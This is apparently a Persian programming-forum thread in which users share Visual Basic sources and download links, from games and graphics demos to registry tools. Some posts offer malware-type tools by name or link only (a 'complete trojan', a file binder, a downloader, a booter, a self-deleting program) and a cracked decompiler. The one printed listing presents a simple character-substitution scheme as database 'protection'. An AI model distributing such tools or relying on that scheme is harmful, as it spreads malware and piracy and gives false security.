برنامه های VB

یک برنامه یاد آوری
با برنامه زیر می توانید پیامی را سر ساعت که شما مشخص می کنید برایتان نمایش داده شود

محاسبه فاكتوريل عدد با يه حلقه نزولي

برنامه قطع کردن اینترنت

سلام دوستان عزیز
برنامه زیر را دانلود کنید . چند تا مشکل داشت که نتوانستم حلش کنم (وقت ندارم)
1- هنگامی که کاربر ساعت را بخواهد وارد کند چه باید کرد؟
2- با اجرای برنامه کانکشن این برنامه اجرا شود
3- راه حل دیگری به ذهن شما نمیرسد ؟

برنامه زیر پس از اجرا پاک میشه
ضمیمه 18993
فقط با چند کد ساده!!!

نقل قول:

---

نوشته شده توسط keihancpu

برنامه زیر پس از اجرا پاک میشه
ضمیمه 18993
فقط با چند کد ساده!!!

---

این روش اصلا روش درستی نیست ، چون یه نسخه از برنامه توی System32 ساخته میشه.

روش اصلی و کارای این کار :

https://barnamenevis.org/showthread.php?p=534810&posted=1#post534810

این نوع روش بیشتر برای ویروسها و تروجانها کاربرد داره
ممنون از توجه شما

فرمها رو بصورت اشکال هندسی نمایش میده
ضمیمه 19002

با سلام

اينم سه تا برنامه كامل با وي بي كه سورسشون رو گذاشتم تا از توش هرچي مي خواهيد برداريد
اگه نظر يا پيشنهادي هم داريد اي ميل كنيد

1- يه برنامه تروجان كامل كه البته اگه باز كنيد كلي حال مي كنيد
http://aminf2008.110mb.com/SubTrust.zip
2- يه برنامه مديريت كافينت با تمام امكانات
http://aminf2008.110mb.com/NetManager.zip
3- يه برنامه دفترچه تلفن با تمام امكانات اوليه
http://aminf2008.110mb.com/PhoneBook.zip

aminf.2008@gmail

اينم آدرس ايميل من كه اگه سوال داشتين مي تونيد بپرسيد يا همينجا پيغام بذاريد
نظر يادتون نره

برای استفاده دوستان در آدرس link پائین برنامه De compiler Pro ریجستری شده را میذارم امیدوارم مورد استفاده قرار گیرد :قلب:
http://rs240.rapidshare.com/files/12...MPILER_PRO.rar

این هم یک برنامه ساده برای کار با منوها

اين برنامه داراي كلي توابع و API هاي بدرد بخور هست كه اميدوارم ازش خوشتون بياد

این یه برنامه خیلی ساده است برای نصب فونت و همچنین حذف اونها با کمک Api

اين برنامه براي كار با رجيستري طراحي شده
ظاهری زیبا و کارکردی آسان از ویژگیهایی بود که برای نوشتنش استفاده کردم
اول مياد رجيستري رو چك ميكنه و بر اساس اون تو برنامه نشون ميده
- كليد هاي كه تو برنامه استفاده كردم همشون با عكس هستش.
- قابليت پسورد گذاشتن براي برنامه هم هست.حتي اگه برنامه رو پاك كنيد پسوردش ژاك نميشه !
- تو برنامه يك راهنماي فارسي داره كه در مورد هر دستور يك مقدار توضيح ميده
- تمام برنامه رو تو يك فرم نوشتم.

منبع : iranvig

خطای چشم در Vb

سلام .

این هم سورس نسخه نسبتاً جدید آنتی ویروس EXIS .
این نسخه جهت شناسایی ویروس های معروف موجود در فلش دیسک ها ارائه شده .

http://irapic.com/uploads/1214444859.gif

نکات خوبی در این برنامه هست که می تونید ازشون استفاده کنید .


موفق باشید :لبخندساده:

سلام .

برخی دوستان قبلاً در صدد ایجاد لایه امنیتی برای ارتباط بین بانک اطلاعاتی و برنامه بودن .

به این صورت که نیاز داشتن تا فایل مربوط به بانک اطلاعاتی (به طور مثال mdb) در زمانی که برنامه به اون نیازی نداره به صورت کد شده در بیاد و در مواقع لازم بتوان اون رو به حالت اولیه بر گردوند و عملیات نوشتن و خواندن رو در بانک انجام داد ...

منم تصمیم گرفتم مثال ساده بیان کنم که امیدوارم بتونه به شما کمک کنه و Database Protection برنامه ای است که به شما کمک خواهد کرد .

http://irapic.com/uploads/1214891667.jpg

(روش کار خیلی ساده و کارآمده)
توجه داشته باشید این برنامه از دو تا حالت (mode) تشکیل شده که فایلی رو که مثلاً با روش Replace -1 کد کردید باید حتماً از همون mode عملیات مربوط Decode انجام بشه ..

این هم کد برنامه :

 

 

 

   'Database Protection'

   'Programmer : Mehran Rasa' - M8S8Y

   'mehran8_rasa (at) yahoo.com

Dim FileStr As String

Private Sub Command1_Click()

'Coding File'

   Select Case Combo1.Text
 

       'mod 1

       Case Combo1.List(0)

           FileStr = Replace(FileStr, "2", "[!]")

           FileStr = Replace(FileStr, "x", "[&]")

           FileStr = Replace(FileStr, "h", "[#]")

           FileStr = Replace(FileStr, "y", "[(]")

           FileStr = Replace(FileStr, "t", "[@]")

       'mod 2

       Case Combo1.List(1)

           FileStr = Replace(FileStr, "2", "[^]")

           FileStr = Replace(FileStr, "x", "[;]")

           FileStr = Replace(FileStr, "h", "[5]")

           FileStr = Replace(FileStr, "y", "[_]")

           FileStr = Replace(FileStr, "t", "[#]")
 

   End Select
 

   'Add mark of program in file'

   FileStr = Replace(FileStr, "a", "[DPSPROT]")
 

       'Write the Coded File'

       Open CDm.FileName For Output As #1

       Print #1, FileStr: Close #1
 

       MsgBox "Database Coded Succesfsfully!", vbInformation
 

       End

End Sub

Private Sub Command2_Click()

'Decoding File'

   Select Case Combo1.Text
 

       'mode 1'

       Case Combo1.List(0)

           FileStr = Replace(FileStr, "[!]", "2")

           FileStr = Replace(FileStr, "[&]", "x")

           FileStr = Replace(FileStr, "[#]", "h")

           FileStr = Replace(FileStr, "[(]", "y")

           FileStr = Replace(FileStr, "[@]", "t")

       'mode 2'

       Case Combo1.List(1)

           FileStr = Replace(FileStr, "[^]", "2")

           FileStr = Replace(FileStr, "[;]", "x")

           FileStr = Replace(FileStr, "[5]", "h")

           FileStr = Replace(FileStr, "[_]", "y")

           FileStr = Replace(FileStr, "[#]", "t")
 

   End Select
 

   'Remove mark of program in file'

   FileStr = Replace(FileStr, "[DPSPROT]", "a")
 

       'Write the Decoded File'

       Open CDm.FileName For Output As #1

       Print #1, FileStr: Close #1
 

       MsgBox "Database Decoded Succesfsfully!", vbInformation
 

       End

End Sub

Private Sub Form_Load()

   'Import a File

   CDm.Filter = "MDB Files|*.mdb|All Files(*.*)|*.*"

   CDm.ShowOpen

   If CDm.FileName <> "" Then

       LbAddress.Caption = "Database Address : " & LCase(CDm.FileName)

       Call LoadFile

       Else: End: End If
 

   Combo1.Text = Combo1.List(Index)
 

End Sub

Sub LoadFile()

'Load File With Open#'

   a$ = Space(FileLen(CDm.FileName))

   Open CDm.FileName For Binary As #1

   Get #1, , a$

   Close #1

   FileStr = a$
 

   'Check the file for Coding or Decoding'

   If InStr(1, FileStr, "[DPSPROT]") = 0 Then

   Command1.Enabled = True

   Command2.Enabled = False

      Else

   Command2.Enabled = True

   Command1.Enabled = False

   End If

End Sub

اینم یه برنامه از طرف من تا باهاش یه کم بخندید:لبخند:
برنامه time&date ویندوز رو باز کنید بعد خودتون تماشا کنید:شیطان:

متحرک کردن آب دریا با استفاده از توابع API ویندوز

نشان دادن مسیر برنامه ها و فایلهای درون منوی استارت ، این سورس برای ورد پد ویندوز نوشته شده و با اجرای برنامه ، به طور خودکار منوی استارت باز سپس آل پروگرمز باز و بعد اکسسریوس باز میشود !

با ویژوال بیسیک فلش پلیر را کنترل کنید !

محاسبه ی قیمت تمام شده ی تماسهای تلفنی بر حسب دلار ، یورو ، پوند و ضبط کلیه شماره ی تماسها ، میزان مکالمات به دقیقه و ...

اگه بتونيد يه برنامه ساده بانك اطلاعاتي كه در اون امكان پرينت به صورت تك نفره وجود داشته باشه بزاريد ممنون مي شم.

با سلام خدمت همه سروران گرامي
هركسي كه پروژه بانك اطلاعاتي يك مدرسه با توانايي چاپ به صورت تك دانش آموز داره؛ لطف كنه بزاره تا بقيه هم ازش استفاده كنن

سلام
نمیدونم اینو قبلا دیدید یا نه برای کار با تابع bitblt هستش
در کل بامزست

سلام . این یه برنامه هست که میتونه home page رو قفل یا باز کنه .(مثال برای توابع کار با ریجستری) .

سورس یک بوتر

لود کردن فایلهای 3dsmax در وی بی

انیمشن روی دسکتاپ

زوم کردن بر روی تصاویر

اینم یک اسکین زیبای دیگر

طیف رنگ برای کارهای گرافیکی

بارش برف بسیار طبیعی

اینم یک برنامه برای ترساندن دیگران پیشنهاد میکنم حتما نگاهی بهش بندازین

اینم اسکین زیبا برای برنامه های شما

سورس ساعت با قابلیت قرار گرفتن در نوار سیستم ترای

اینم فایل بیندر

فایل دانلودر

انمیشن روی دسکتاپ

اینهم برای تست کردن آنتی ویروس

اینم اسکرین سرور زیبا

ساعت عقربه ای

سورس بازی پینگ پنگ

سورس بازی تانک

سورس یک بازی بسیار جذاب

سورس ماشین حساب

سورس بازی معرف آتاری

فیلتر کردن و پردازش عکسها

يكي از دوستان پيام خصوصي داده بود و يه پازل ساده خواسته بود و ... گفت ساده مي خوام منم ساده درست كردم.
فقط يه چيزي دوستان اگه مشكلي دارن تايپيك بزنن تا زود تر به نتيجه برسن. شايد بگين داره كلاس ميزاره ولي به خاطر خودتون ميگم

متن 3 بعدی
3dmaze
پردازش تصاویر
آیکن ادیتور
تبدیل اعداد باینری به دسیمال
رمزگذاری بر روی رشته ها

تبدیل mp3 به فایل exe
فایل بیندر
ساعت عقریه ای
کد ادیتور
شیب رنگ در text
باتن های بسیار زیبا

سورسهای زیر بدرد کسانی میخورد که قصد نوشتن برنامه های convertsion دارند میخورد

اینم بدرد کسانی میخوره که میخوان کار با گرافیک را در دی بی شروع کنند

چند سورس جذاب دیگر

شبيه ساز لينوكس

AlgorithmDijkstra

تو تاپیک برنامه TransForm یکی از دوستان گفت کارم متفاوته ، منم خوشم اومد و تصمیم گرفتم بیشتر رو کارای متفاوت کار کنم
اینم دوتا لیبل متفاوت

در مورد دستورات اس کیو ال چکار باید کرد

سلام
اينم يه برنامه از طرفه من به بچه هاي برنامه نويس !!
قبلا توي سايت گذاشته بودم ، حيفم اومد تويه تاپيكي به اين فعالي نزارم:بوس:

اين برنامه جزء برنامه هاي Spy هست ! يه خرده پيشرفته تر ! يه چيزاييش به دردتون مي خوره!
مثلاً مي خواييد هندله ادرس باره اينترنت اكسپلورر رو بدست بياريد ، هندله استارت رو ، يا هر چيزه ديگه اي ! كافيه ستاره رو بگيريد و بكشيد رويه شي مورد نظر تا برنامه كد رو توليد كنه !

موفق باشيد.

سرس برنامه msn masnger
http://www.freevbcode.com/source/xmsn.zip

انکودر ویدئو
http://parsaspace.com/taknikbartar/v...20to%20wmv.jpg
http://parsaspace.com/taknikbartar/v...20to%20wmv.zip

ایکون ایدتور
http://parsaspace.com/taknikbartar/v...2005/icone.gif
http://parsaspace.com/taknikbartar/v...2005/icone.zip

راه اندازی اسکنر در ویژوال بیسیک. تقریبا گیر اوردنش خیلی سخته.
برنامرو ساده نوشتم. هر طور خواستین ادامش بدین.

سلام
یک جلوه طبیعی از آتش ( با کد نویسی )

این مثل Beziers Screen Saver ویندوز هستش

یه نمونه کوچک از تلفن گویا....KDtele به تاپیک زیر مراجعه کنید...

https://barnamenevis.org/showthread.php?t=117263